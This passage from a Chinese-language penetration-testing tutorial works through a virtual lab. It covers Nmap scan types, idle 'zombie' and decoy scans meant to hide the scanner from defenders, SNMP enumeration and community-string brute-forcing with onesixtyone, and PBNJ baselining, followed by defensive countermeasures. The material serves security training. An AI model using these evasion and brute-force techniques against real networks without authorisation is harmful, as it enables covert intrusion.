Nmap scan report for 192.168.50.10
Host is up (0.0019s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp filtered ftp
79/tcp filtered finger
80/tcp open http
110/tcp open pop3
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds

就像前面的例子一样,这表明我们至少有五个开放或被过滤的端口可用。在尝试枚举目标网络时,一定要使用不同的扫描类型,否则你可能会错过一些对你的测试工作有重大影响的东西!

空扫描

如果我们尝试的唯一扫描是空扫描,我们会非常失望:

root@bt:~# nmap -sN -T5 192.168.50.10 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 19:15 EDT
Nmap scan report for 192.168.50.10
Host is up (0.00051s latency).
All 1000 scanned ports on 192.168.50.10 are open|filtered
Nmap done: 1 IP address (1 host up) scanned in 24.24 seconds

这告诉我们所有的端口都是open|filtered。我们可以假设有一些防火墙的动作,但我们并没有立即学到任何有用的东西。

ACK 扫描

由于我们在空扫描中没有找到任何东西,我们继续使用 ACK 扫描类型。

root@bt:~# nmap -sA -T5 192.168.50.10 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 19:18 EDT
Nmap scan report for 192.168.50.10
Host is up (0.00059s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
443/tcp unfiltered https
Nmap done: 1 IP address (1 host up) scanned in 61.22 seconds

至少这次扫描为我们提供了一个未经过滤的端口。如果我们真的想要进行测试,我们需要所有的开放端口,而不仅仅是一个!

结论

使用不同的扫描类型可能会更容易引起注意,但有时需要收集你需要的数据。理想情况下,你应该从最不引人注意的扫描类型开始扫描,然后根据你收集的信息类型逐步提升。在继续下一个子网之前一定要仔细检查,特别是如果你有充分的理由相信有一些有价值的端口可用但没有显示出来。

推卸责任——是僵尸干的!

由于保持不被发现的几率很小,我们需要试图转移责任。我们可以使用空闲扫描让僵尸主机承担我们扫描的所有责任。

提示

nmap.org网站对空闲扫描的工作原理有非常详细和全面的描述。请查看nmap.org/book/idlescan.html以获取关于这些工作原理的完整概述。

关于空闲扫描(-sI)的一个重要事项是,你需要找到一个具有良好的 TCP 序列预测评级的僵尸主机。空闲扫描的名字很贴切,因为我们用作替罪羊的机器必须尽可能地空闲。许多行业人士建议使用网络打印机作为完美的僵尸主机,因为它们通常没有持续的流量,它们的序列预测难度评级通常非常低。

空闲扫描的第一步是找到可能的僵尸主机。你可以通过执行以下操作(详细模式、操作系统检测、无 ping、无名称解析)来找到 TCP 序列预测评级:

# nmap -v -O -Pn -n 192.168.50.10 

你需要关注的输出部分如下:

Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=195 (Good luck!) 
IP ID Sequence Generation: Sequential

上面的系统并不理想,但应该可以用作僵尸主机。难度评级越高,你尝试使用这台机器作为僵尸的可能性就越小。此外,生成是顺序的事实将提高扫描成功的可能性。

让我们回顾一下空闲扫描的概念:

  1. 向僵尸主机发送 SYN/ACK,然后僵尸主机会返回一个带有片段标识号(IPID)的 RST。

  2. 一个特制的数据包带有僵尸主机的 IP 地址被发送到目标机器。

  3. 目标机器上的关闭端口会导致向僵尸主机发送一个 RST,此时什么也不会发生。另一方面,打开的端口会导致目标机器用我们伪造的数据包的 IP 地址回复一个 SYN/ACK,这又会导致我们的僵尸主机向目标机器发送一个 RST,一旦它意识到没有有效的连接。IPID 现在已经增加了!

  4. 我们通过向僵尸主机发送另一个 SYN/ACK 并检查 IPID 是否增加了 2 次来关闭循环,一次是为了我们的 RST,一次是为了目标机器的 RST。

  5. 重复直到所有目标机器的端口都被探测到!

当看到僵尸扫描是如何工作的时候,很容易看出空闲扫描的正确使用可以有助于减缓蓝队(防御安全专业人员)的速度。

那么,这个命令的语法是什么?有这么大的能力,肯定很难吧?当您查看以下命令结构时,您可能会感到惊喜:

nmap -p 23,53,80,1780,5000 -Pn -sI 192.168.1.88 192.168.1.111 

在这里,我们使用了-p来启动对我们已知已打开的 TCP 端口的扫描;我们还指示我们不想进行 ping(这会暴露我们)使用-Pn,然后使用192.168.1.88作为我们的僵尸和192.168.1.111作为我们的目标启动了一个空闲扫描(-sI)。这在这个示例网络上产生了以下输出:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 22:09 EDT
Idle scan using zombie 192.168.1.88 (192.168.1.88:80); Class: Incremental
Nmap scan report for 192.168.1.111
Host is up (0.036s latency).
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
1780/tcp open unknown
5000/tcp open upnp
MAC Address: 30:46:9A:40:E0:EE (Netgear)
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

如果我们查看 Wireshark 的输出,我们可以看到一些奇怪的活动来自192.168.1.88192.168.1.111

责任转嫁——僵尸做了这件事!

从 Wireshark 的结果来看,我们看到之前的 Nmap 命令在我们的网络上从192.168.1.88192.168.1.111发起了大量的流量。这种流量将启动所需的活动,以增加告诉我们目标系统具有开放端口的 IPID。

IDS 规则,如何避免它们

要真正避免 IDS 规则的唯一方法是了解它们是什么,并在虚拟环境中测试您的攻击。我们将在本书的一个整章中致力于避免检测。请准备花时间了解 IDS 寻找什么,并使用我们已经描述的方法来管理您的扫描以执行检测规避。

使用诱饵

Nmap 诱饵的使用可能是一个有趣的概念。我们告诉 Nmap 向扫描中添加额外的主机。您将不会从这些诱饵中得到任何响应,但它们会使管理员更难以确定哪个 IP 正在主动扫描,哪个 IP 只是在那里搅浑水。理想情况下,您将启动一个扫描,其中有足够多的活动诱饵来降低目标管理员的检测能力。

注意

在扫描时使用活动诱饵。这将使确定哪个系统正在主动扫描变得更加困难。活动诱饵是当前在网络上活动的 IP。

需要注意的是,在使用诱饵时,您可以执行许多扫描类型。您不会受到限制,可以毫不犹豫地使用所有技巧。

让我们在我们的虚拟实验室中尝试一下:

# nmap -D192.168.75.10,192.168.75.11,192.168.75.1,ME -p 80,21,22,25,443 -Pn 192.168.75.2 

在这里,我们调用 Nmap,然后跟随-D开关,这将导致我们执行诱饵扫描。我们接着这个命令使用我们选择的诱饵列表,这些诱饵在这种情况下都是活动的机器。再次,我们不想发送 ping 请求,所以我们使用-Pn来停止这个动作。所选的端口范围是使用-p设置为80,21,22,25443

提示

ME可以用来代替键入本地主机 IP 地址。

这次扫描的结果如下:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 23:03 EDT
Nmap scan report for 192.168.75.2
Host is up (0.00036s latency).
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp filtered ssh
25/tcp filtered smtp
80/tcp open http
443/tcp filtered https
MAC Address: 08:00:27:DF:92:32 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds

这里没有什么新的;我们再次确定了哪些端口是打开的、过滤的或关闭的。真正的魔术发生在电线上。让我们来看看网络防火墙看到了什么:

使用诱饵

如果您查看源字段,您应该注意到我们使用的诱饵现在正在填充已设置为记录所有流量的防火墙过滤器。使用足够的诱饵,您可以创建一种风暴,从而完全混淆和延迟网络管理员在执行枚举时。

提示

如果您想要查看此扫描的实际操作,可以在 BackTrack 机器上使用 Wireshark。我们还将在后面的章节中完全涵盖将防火墙添加到实验室中。

将自定义 Nmap 脚本添加到您的武器库

Nmap 脚本引擎允许您创建和使用执行许多不同功能的自定义脚本。如前所述,Nmap 已经为您打包了许多这些脚本。Nmap 脚本引擎的完整详细指南可在nmap.org/book/nse.html上找到。通过使用--script选项,您可以调用自己的脚本,或者从已经可用的大量脚本库中进行选择。

注意

确保您完全了解您运行的任何脚本。NSE 非常强大,如果您不了解每个步骤,可能会造成损害!不要盲目运行您找到的所有脚本,否则您可能会后悔。

如何决定脚本是否适合您

使用 Nmap 的--script-help选项将允许您显示特定脚本的几个有用字段,而无需实际运行它。例如,如果我们查看 BackTracks nmap 的脚本文件夹/usr/local/share/nmap/scripts并执行ls -lah,我们会看到一长串未知的内容:

# cd /usr/local/share/nmap/scripts
# ls -lah

-rw-r--r-- 1 root root 2.7K 2011-07-19 21:02 afp-brute.nse
-rw-r--r-- 1 root root 5.5K 2011-07-19 21:02 afp-ls.nse
-rw-r--r-- 1 root root 5.0K 2011-07-19 21:02 afp-path-vuln.nse
-rw-r--r-- 1 root root 5.3K 2011-07-19 21:02 afp-serverinfo.nse
-rw-r--r-- 1 root root 2.5K 2011-07-19 21:02 afp-showmount.nse
-rw-r--r-- 1 root root 15K 2011-07-19 21:02 asn-query.nse
-rw-r--r-- 1 root root 2.0K 2011-07-19 21:02 auth-owners.nse
-rw-r--r-- 1 root root 831 2011-07-19 21:02 auth-spoof.nse
-rw-r--r-- 1 root root 8.6K 2011-07-19 21:02 backorifice-brute.nse
-rw-r--r-- 1 root root 9.3K 2011-07-19 21:02 backorifice-info.nse
-rw-r--r-- 1 root root 5.4K 2011-07-19 21:02 banner.nse
-rw-r--r-- 1 root root 2.9K 2011-07-19 21:02 broadcast-avahi-dos.nse
-rw-r--r-- 1 root root 1.5K 2011-07-19 21:02 broadcast-dns-service-discovery.nse
-rw-r--r-- 1 root root 3.4K 2011-07-19 21:02 broadcast-dropbox-listener.nse
-rw-r--r-- 1 root root 3.6K 2011-07-19 21:02 broadcast-ms-sql-discover.nse
-rw-r--r-- 1 root root 1.8K 2011-07-19 21:02 broadcast-netbios-master-browser.nse

此列表比本书中显示的内容要多得多,并且正在不断更新。不久前,Fyodor 在 Defcon 18 会议上提供了关于 Nmap 脚本引擎的精彩演讲,添加到存储库中的脚本数量一直在增加。

那么,如果我们想了解banner.nse呢?这个脚本看起来很有趣,我们可以根据名称做出假设,但最好查看作者提供的描述,方法是键入:

# nmap --script-help "banner.nse" 

这导致以下输出:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 23:50 EDT
banner
Categories: discovery safe
http://nmap.org/nsedoc/scripts/banner.html
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
The banner will be truncated to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.

因此,在这种情况下,我们的假设很可能是正确的。我们不仅了解到banner.nse文件用于连接到开放的 TCP 端口进行横幅抓取,而且它被认为属于发现安全类别,这两个类别在使用命令行的脚本选项时可以调用。您还可以访问nmap.org/nsedoc/以便轻松获取脚本信息。

我们的实验室中还没有banner.nse可以使用的内容,但让我们继续运行由简单的-sC选项启动的 50 多个脚本。如果您还没有查看 Nmap NSE 网站以查看这些脚本,您可能希望快速访问一下,以确保在尝试在生产网络上运行之前,您完全了解正在启动的脚本。

注意

虚拟实验室中的 Ubuntu 机器已更新,以便为本示例提供有趣的服务。您的输出很可能会有所不同。

查看以下命令产生的输出:

# nmap -Pn -sC 192.168.50.11 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-30 00:19 EDT
Nmap scan report for 192.168.50.11
Host is up (0.00090s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
|_ftp-bounce: no banner
79/tcp open finger
| finger:
| Debian GNU/Linux Copyright (c) 1993-1999 Software in the Public Interest
|
| Your site has been rejected for some reason.
|
| This may be caused by a missing RFC 1413 identd on your site.
|
| Contact your and/or our system administrator.
|_
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3
|_pop3-capabilities: capa APOP
443/tcp open https
|_http-title: eBox Platform
|_http-methods: No Allow or Public header in OPTIONS response (status code 403)
|_sslv2: server still supports SSLv2
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds

-sC选项为我们提供了许多其他扫描类型无法呈现的细节。这是有代价的。您刚刚看到的许多脚本在网络和/或正在运行的主机上非常明显。通过查看先前的输出,我们现在可以看到不仅port 110上打开了pop3,而且它还具有capaAPOP功能。我们现在也知道该系统将支持连接到SSLv2,这是一个已知的易受攻击的协议,我们可能可以利用它来获取优势。

向数据库添加新脚本

所有这些预加载的脚本都很棒,但是如果您想要将其他脚本添加到您的工具库中,无论是因为您自己编写了它们,还是因为您信任的某人提供了最新和最棒的东西,并且您想在执行渗透测试时利用它,那么这可能非常简单!

  1. script .nse文件添加到其他 Nmap NSE 脚本所在的目录中。

  2. 运行以下命令以更新通过类别捆绑脚本的数据库:

# nmap -script-updatedb 

  1. 现在您可以通过 nmap --script "scriptname.nse"或使用脚本关联的分类分组来使用新脚本。

SNMP:一个等待被发现的信息宝库。

简单网络管理协议(SNMP)通常由繁忙的管理员和开发人员管理不善。经常会看到默认的 community 字符串,或者在测试的整个组织中重复使用的 community 字符串。您将希望确保您的客户端使用最安全的 SNMP 版本,并且您不能简单地走进建筑物,拔掉电话,然后嗅探 community 字符串。较新版本的 SNMP 包括强加密以避免此类缺陷。

SNMPEnum

幸运的是,有许多可用的工具可以简化对 SNMP 的测试。我们将首先使用 SNMPEnum,这是一个 Perl 脚本,可以在 BackTrack 5 R1 的/pentest/enumeration/snmp/snmpenum目录中找到。

如果您想跟随这些示例,您可以跳过几章并跟随 pfSense 安装和配置演练,或者可以设置 Ubuntu 机器以使用 SNMP。可以按以下步骤操作:

在本例中,已设置了防火墙虚拟设备,并启用了非常薄弱的 community 字符串"public"的 SNMP。

在这里,我们将展示snmpenum.pl向渗透测试人员披露的信息类型。

# ./snmpenum.pl 192.168.121.252 public linux.txt > myFW.txt 

这个命令调用了snmpenum.pl Perl 脚本,并传递了目标 IP192.168.121.252和选定的 community 字符串public. linux.txt,该字符串在snmpenum工具的工作目录中找到,给定导入文件中。我们已经指定输出放在myFW.txt中,因为成功连接到 SNMP 守护程序提供了如此丰富的信息。以下是我们刚刚学到的一些更有趣的部分:

----------------------------------------
LISTENING UDP PORTS
----------------------------------------
0
53
67
161
514
57613
----------------------------------------
LISTENING TCP PORTS
----------------------------------------
53
80

哇!我们仅仅通过向运行在这个路由器/防火墙上的 SNMP 守护程序发送一个简单的请求,就已经成功获取了这个设备的所有开放端口。在这种情况下,我们可以简单地跳过尝试运行 Nmap(这很遗憾,因为我们在本章中已经学到了很多关于它!),并开始我们的横幅抓取练习。然而,在myFW.txt文件中还有更多内容:

----------------------------------------
SYSTEM INFO
----------------------------------------
pfSense.localdomain 744728609 FreeBSD 8.1-RELEASE-p4

现在我们还知道这台机器的确切名称,它的用途是什么(快速检查google.com将告诉您有关 pfSense 的一切),以及我们正在处理的操作系统和版本。

我们还可以从我们运行的 SNMP 扫描中得到什么?

----------------------------------------
RUNNING PROCESSES
----------------------------------------
kernel
init
g_event
g_up
g_down
crypto
crypto returns
sctp_iterator
pfpurge
xpt_thrd
audit
idle
intr
ng_queue
yarrow
pagedaemon
vmdaemon
pagezero
idlepoll
bufdaemon
vnlru
syncer
softdepflush
md0
check_reload_status
check_reload_status
devd
login
sshlockout_pf
sh
sh
syslogd
tcpdump
logger
php
inetd
lighttpd
sleep
php
php
php
php
dhcpd
php
dnsmasq
bsnmpd
ntpd
ntpd
sh
cron
minicron
minicron
minicron
kernel

如果在测试过程中存在可以利用的缺陷,那么此时您拥有了您所需的一切。我鼓励您访问制造商的网站,并熟悉您可以通过 SNMP 获取的信息类型。如果使用正确,它对组织非常有益;但是,如果未正确配置 SNMP,则可能会导致失败。

SNMPCheck

BackTrack 中包含的另一个很棒的工具是snmpcheck,由Nothink.org的 Matteo Cantoni 提供。这个 Perl 脚本允许您枚举 SNMP 设备,并将输出放在非常易于阅读的友好格式中。

# ./pentest/enumeration/snmp/snmpcheck/snmpcheck-1.8.pl -t 192.168.75.1 

这个命令假设设备将响应于public community 字符串,但您可以通过添加-c开关轻松更改要使用的字符串。在成功扫描时,输出将类似于以下内容:

snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)
[*] Try to connect to 192.168.75.2
[*] Connected to 192.168.75.2
[*] Starting enumeration at 2011-10-30 04:03:57
[*] System information
-------------------------------------------------------------
Hostname : pfSense.localdomain
Description : pfSense.localdomain 744728609 FreeBSD 8.1-RELEASE-p4
Uptime system : 11 hours, 02:32.69
Uptime SNMP daemon : 46 minutes, 47.88
Contact : Lee Allen
Location : USA
Motd : -
[*] Devices information
-------------------------------------------------------------
Id Type Status Description
1 Other Running nexus0:
10 Other Running isab0: PCI-ISA bridge
11 Other Running isa0: ISA bus
12 Other Running orm0: ISA Option ROMs
13 Other Running pmtimer0:
14 Other Running sc0: System console
15 Other Running vga0: Generic ISA VGA
18 Other Down ppc0: Parallel port
19 Other Down uart0: ns8250
[*] Storage information
-------------------------------------------------------------
Real Memory Metrics
Device id : 1
Device type : Ram
Filesystem type : BerkeleyFFS
…
[*] Software components
-------------------------------------------------------------
1\. FreeBSD: FreeBSD 8.1-RELEASE-p4 #0: Tue Sep 13 16:58:57 EDT 2011
2\. bsdinstaller-2.0.2011.0913
3\. gettext-0.18.1.1
4\. grub-0.97_4
[*] Mountpoints
-------------------------------------------------------------
Swap:/dev/ad0s1b
/, type: ufs, dev: /dev/ad0s1a
/dev, type: devfs, dev: devfs
/var/run, type: ufs, dev: /dev/md0
/var/dhcpd/dev, type: devfs, dev: devfs
[*] Enumerated 192.168.75.2 in 3.70 seconds

前面的输出已经大大缩短,但我们在这里提供的内容应该可以让您了解到这个工具向渗透测试人员提供的数据类型。

注意

snmpcheck已经移植到了 Metasploit,并可以直接从该框架中使用。

当 SNMP community 字符串不是"public"时

很可能您不会找到许多设置为默认的 community 字符串。那时,您必须深入了解您的工具集,并赚取您的报酬。有许多实用程序可协助执行诸如暴力破解 SNMP community 名称之类的操作。我最喜欢的之一就是onesixtyone。这个扫描程序速度快且高效,将并行发送请求以加快速度。

提示

在测试时,请记住以下几点:仅因为某个工具对大多数任务非常有效,并不意味着它对所有任务都有效。有可能您需要回到您的工具箱并尝试其他方法。您了解工具功能的越多,您在测试中成功的可能性就越大。例如,onesixtyone 在进行 SNMP 请求时正在寻找特定值。我虚拟实验室中使用的防火墙可能不使用此值,因此对该工具来说是不可见的。在看到我们在前面部分获得的丰富知识后,仅仅因为我们只使用了一个工具就错过这些信息,这不是很糟糕吗?

onesixtyone 的命令语法很简单:

# ./onesixtyone -c dict.txt 192.168.50.10 

我们让 onesixtyone 使用提供的dict.txt文件来检查192.168.50.10,在我的虚拟网络上结果如下:

Scanning 1 hosts, 49 communities
192.168.50.10 [public] Linux Phobos 2.6.32-34-generic #77-Ubuntu SMP Tue Sep 13 19:39:17 UTC 2011 x86_64

查看这些结果,我们注意到我们扫描的主机使用的是 Ubuntu Linux 操作系统,并且具有先前未知的公共社区字符串。让我们在主机上更改这个,并看看在使用相同命令时我们的表现如何:

Scanning 1 hosts, 50 communities

正如预期的那样,由于我们的列表中不再有社区名称,我们无法找到它。我们可以创建我们自己的dict.txt文件,或者添加到已经提供给我们的文件中。

注意

处理字典文件时,最好有几个可用来满足特定需求。最好至少有三个可用于 SNMP 目的。一个具有许多默认值,另一个具有人们用于社区名称的常用名称,最后一个是一个包含许多名称的大文件,可以根据公司名称、用户名等定制给您的客户。

使用 scanPBNJ 创建网络基线

进行渗透测试时,了解在一段时间内发生了什么以及发生了什么变化是很重要的。管理员通常工作繁忙,可能仍需要在您进行测试时完成工作。确保您不是在一个不断变化的领域上进行测试的一种方法是抓取您正在测试的网络的基线。PBNJ 非常擅长这项任务。scanPBNJ 的网站位于pbnj.sourceforge.net,该工具也作为 BackTrack 5 R1 发行版的一部分提供。关于scanPBNJ的关键注意事项是它使用 Nmap 扫描网络,然后将结果与扫描执行时间戳一起存储到数据库中。

设置 MySQL 用于 PBNJ

BackTrack 预装了 MySQL。我们将利用这一点,让 PBNJ 将我们的扫描结果存储到一个 MySQL 数据库中进行准备。

启动 MySQL

在命令行中键入以下内容:

# service mysql start 

服务应该已经启动。您也可以使用相同的方式使用service stopservice restart

准备 PBNJ 数据库

准备 PBNJ 数据库,按以下步骤进行:

# mysql -uroot -ptoor 

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE DATABASE BTpbnj; 

Query OK, 1 row affected (0.02 sec)

mysql> CREATE USER 'tester'@'localhost' IDENTIFIED BY 'password'; 

Query OK, 0 rows affected (0.01 sec)

mysql> GRANT ALL ON BTpbnj.* TO 'tester'@'localhost'; 

Query OK, 0 rows affected (0.01 sec)

mysql> exit 

我们已经创建了一个名为BTpbnj的数据库,添加了一个名为tester的用户,密码为password,授予该用户完整的数据库访问权限,并退出了数据库。

现在我们需要编辑 PBNJ 配置文件以使用我们新创建的数据库。在根目录下创建一个名为.pbnj-2.0/的目录(mkdir -p .pbnj-2.0),然后切换到该隐藏目录。执行以下命令将您的mysql.yaml配置文件复制到config.yaml

root@bt:~/.pbnj-2.0# cp /usr/share/doc/pbnj/examples/mysql.yaml config.yaml 

文件复制后,我们需要使用 nano 编辑几个项目:

# nano config.yaml 

# Configuration file for PBNJ 2.0
# YAML:1.0
#
# Config for connecting to a DBI database
# SQLite, mysql etc
db: mysql 
# for SQLite the name of the file. For mysql the name of the database
database: BTpbnj 
# Username for the database. For SQLite no username is needed.
user: "tester" 
# Password for the database. For SQLite no password is needed.
passwd: "password" 
# Password for the database. For SQLite no host is needed.
host: "127.0.0.1" 
# Port for the database. For SQLite no port is needed.
port: "3306" 

需要更改config.yaml中突出显示的以下字段以匹配以下内容:

  • 数据库:mysql

  • 数据库:BTpbnj

  • 用户:"tester"

  • 密码:"password"

  • 主机:"127.0.0.1"

  • 端口:"3306"

通过首先使用CTRL + O保存您的工作,然后使用CTRL + X退出 nano。

第一次扫描

在这里我们扫描192.168.75.0/24:

# /usr/local/bin/scanpbnj -a "-p- -T4" 192.168.75.0/24 

这个命令启动了scanpbnj,并使用-a标志使用了现在熟悉的 Nmap 标志之一。在这个示例中,我们针对了192.168.75.0/24网络。

注意

如果按照示例进行操作,请用您的实验室或网络的 IP 范围替换192.168.75.0/24

扫描完成后,您将在屏幕上看到以下输出的类似内容:

--------------------------------------
Starting Scan of 192.168.75.2
Inserting Machine
Inserting Service on 53:tcp domain
Inserting Service on 80:tcp http
Scan Complete for 192.168.75.2
--------------------------------------

就是这样。我们现在在数据库中记录了我们192.168.75.0/24网络上的内容,准备好供我们审查。

注意

默认扫描设置将在前 1025 个端口上执行 Nmap 的非常详细的操作系统检测,SYN 扫描,排除了很少使用的端口 0。

审查数据

现在信息已经在数据库中,但我们如何审查它呢?因为我们决定使用 MySQL,所以我们可以依赖于我们以前的 MySQL 知识来执行任何我们喜欢的类型的查询!以下是一些示例:

登录数据库,并告诉它使用BTpbnj数据库:

# mysql -utester -ppassword 

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 52
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use BTpbnj; 

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

一旦我们登录,让我们尝试一些查询:

mysql> show tables; 

+------------------+
| Tables_in_BTpbnj |
+------------------+
| machines |
| services |
+------------------+
2 rows in set (0.00 sec)

MySQLBTpbnj数据库中有两个表。

mysql> describe machines; 

+-----------------+---------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------+------+-----+---------+-------+
| mid | int(11) | NO | PRI | NULL | |
| ip | text | YES | | NULL | |
| host | text | YES | | NULL | |
| localh | int(11) | YES | | NULL | |
| os | text | YES | | NULL | |
| machine_created | text | YES | | NULL | |
| created_on | text | YES | | NULL | |
+-----------------+---------+------+-----+---------+-------+
7 rows in set (0.01 sec)

现在我们有一些字段可以基于它们进行下一个查询。注意created_onmachine_created字段。当执行基线时,这些时间戳非常有用。

mysql> select ip,os,created_on from machines where ip = "192.168.75.2"; 

+--------------+------------+--------------------------+
| ip | os | created_on |
+--------------+------------+--------------------------+
| 192.168.75.2 | unknown os | Sun Oct 30 10:57:39 2011 |
+--------------+------------+--------------------------+
1 row in set (0.00 sec)

我们从数据库中选择了ip,oscreated_on字段。现在让我们继续了解一些更有趣的信息。

mysql> describe services; 

+-----------------+---------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------+------+-----+---------+-------+
| mid | int(11) | YES | | NULL | |
| service | text | YES | | NULL | |
| state | text | YES | | NULL | |
| port | int(11) | YES | | NULL | |
| protocol | text | YES | | NULL | |
| version | text | YES | | NULL | |
| banner | text | YES | | NULL | |
| machine_updated | text | YES | | NULL | |
| updated_on | text | YES | | NULL | |
+-----------------+---------+------+-----+---------+-------+
9 rows in set (0.00 sec)

通过查看这些信息,我们可以看到我们现在能够一次性查询所有主机,而不仅仅是一个主机。此外,这个数据库的输出可以是 XML 格式,然后传输到我们用来跟踪渗透测试结果的任何工具。

提示

MySQL 命令可以从命令行运行,以便将输出导出到您选择的格式。在调用 MySQL 命令时使用-X-H开关,以保存到各自的文件类型。大多数渗透测试人员需要对 MySQL 命令语法有很好的理解才能发挥其作用。

让我们看看我们的简单扫描收集了什么类型的数据:

mysql> select * from services; 

+------+---------+-------+------+----------+-----------------|
| mid | service | state | port | protocol | version | banner | machine_updated | updated_on |
+------+---------+-------+------+----------+-----------------+
| 42 | domain | up | 53 | tcp | unknown version | unknown product | 1319986659 | Sun Oct 30 10:57:39 2011 |
| 42 | http | up | 80 | tcp | unknown version | unknown product | 1319986659 | Sun Oct 30 10:57:39 2011 |
+------+---------+-------+------+----------+-----------------+

使用数据库存储您的发现非常高效,强烈建议。扫描您的虚拟实验室,并测试一些不同的提取数据的方法。通过明智地使用这些数据,可以快速确定网络环境、标准软件版本和其他对于确定下一阶段渗透测试中应该关注的目标至关重要的信息。

枚举避免技术

正如本章内容所示,攻击者可以利用免费提供的工具和技术获得大量关键基础设施信息。作为渗透测试人员,我们不能仅仅专注于攻击网络,我们还必须充分了解足以提供建议和指导给我们的客户的缓解控制措施。公司可以使用几种方法,使攻击者更难以获取必要的信息,以便对客户的资产进行隐蔽、成功的攻击。

命名约定

管理员应该被鼓励使用不透露有关设备信息的命名方案。例如,如果您使用您的 Nmap-Fu 或 DNS-Fu 来提取主机名,并发现机器被标记如下:

  • dns1.example.com

  • mail.example.com

  • domainserver

  • devserver

  • 管理员枢纽点

  • 流氓 WAP

这将立即让您了解您想要首先定位的系统。更好的命名方法可能是一些标记化,比如 ST1 = DNS 服务器,或者所有开发服务器的名称中都包含 71。这将使入侵者更难理解,同时也允许有效的管理员快速识别资产的用途。

端口敲击

经常情况下,管理员可以选择使用端口敲击来避免端口枚举尝试。这个概念可以很简单,就是要求某人在连接到有效的管理端口(如 SSH)之前,先连接到一个秘密端口。

更高级的端口敲击用法是设置一个 telnet 服务器,并让基于主机的防火墙触发规则,暂时阻止 IP 连接到系统上的任何端口,一旦它触及 telnet 端口。

入侵检测和规避系统

尽管这些并不能提供供应商经常声称的完美安全性,但正确配置的入侵检测系统(基于主机或基于网络)可以在检测枚举尝试方面产生重大影响。这些设备应该作为公司深度防御策略的一部分,并且应该得到适当的管理、监控和更新,以提供对公司安全状况最大的益处。

触发点

策略性地放置系统,当被访问时发出警报,可以用作类似于在物理安全中使用周界运动探测器的早期警报系统。管理员可以在一个段上设置一个系统,当进行恶意连接尝试时自动发送警报或启动某些操作。

管理员应避免试图通过在系统上尽可能开放更多的端口来“增加吸引力”,因为这可能会泄露系统的用途。需要注意的一点是,如果在环境中使用这样的系统,就必须像网络上的其他系统一样保持同样的勤勉。在您的网络上有一个未打补丁的系统肯定会成为攻击者的目标;然而,给攻击者一个快速获得网络内立足点的方法绝对不是一个好主意。一旦建立了一个枢纽点,攻击者的工作就变得更容易了,而在您能够对触发点警报做出反应的时候,攻击者可能已经在其他系统上为您的网络设置了后门。

SNMP 锁定

确保管理员以安全的方式使用 SNMP。如前所示,SNMP 可以被用来获取大量的信息,在攻击者手中,这基本上就成了终极目标。SNMP 应该使用最新的可用安全机制,如加密。如果您已经验证了安全性,应该使用最新版本的 SNMP。它还应该被锁定并限制只能被某些主机访问。最重要的是,公共社区应该被移除。

注意

有时,由于各种原因,您的客户可能无法使用最新版本的 SNMP。在这种情况下,尽量保护协议的安全性。例如,您可以建议他们将 SNMP 锁定到特定主机。

摘要

到目前为止,我们已经讨论了枚举网络所需的几种方法。我们创建了一个额外的机器,加入到我们的虚拟实验室中,以便我们可以测试这些方法,并获得在实际网络上执行这些操作所需的经验。

您应该对可用的工具和技术有很好的了解,比如用于 SNMP 暴力破解的 onesixtyone,或用于网络扫描的 Nmap。通过 PBNJ 数据的力量,我们确定了以 MySQL 格式获取网络基线的简单方法,然后使用这些数据快速选择下一阶段渗透测试的正确目标。

在下一章中,我们将深入探讨利用的主题。您将学习从网络上编译或重写概念验证(POC)利用代码,使用 Metasploit,破解密码,以及手动利用远程漏洞。

第四章:远程利用

我们已经收集了数据,审查了信息,并为我们渗透测试的下一阶段选择了一些可能的目标。现在是时候走额外的一英里,证明发现的漏洞可能对底线产生影响。毕竟,这是你的客户需要了解和理解的关于他们的环境的。在本章中,我们将快速回顾利用的基础知识,然后转向更有趣的技术和方法,让我们了解我们正在测试的网络环境的真正安全状况。本章讨论的感兴趣的项目包括以下内容:

  • 向我们的沙盒虚拟网络添加一个易受攻击的机器,使你能够跟着本书中的例子进行操作

  • 编译和/或重写在互联网上找到的概念证明利用代码

  • 使用公开可用的利用代码手动利用远程漏洞

  • 将文件传输到受害者机器和从受害者机器传输文件

  • 使用 John the Ripper 进行密码破解

  • 使用 THC Hydra 进行暴力破解

  • Metasploit-学习并喜欢它

利用-为什么要费心?

你的潜在客户很可能不理解进行全面渗透测试的好处。仅仅枚举网络环境中已知的漏洞是不足以真正了解公司综合安全控制的有效性的;做好准备。

以下是完全利用提供的常见好处的快速清单:

  • 消除猜测和怀疑:通过提供关键基础设施设备被攻破的证据,因此机密数据可能已经泄露、被篡改或不可用,问题变得“真实”,管理团队将拥有采取纠正措施所需的必要细节。

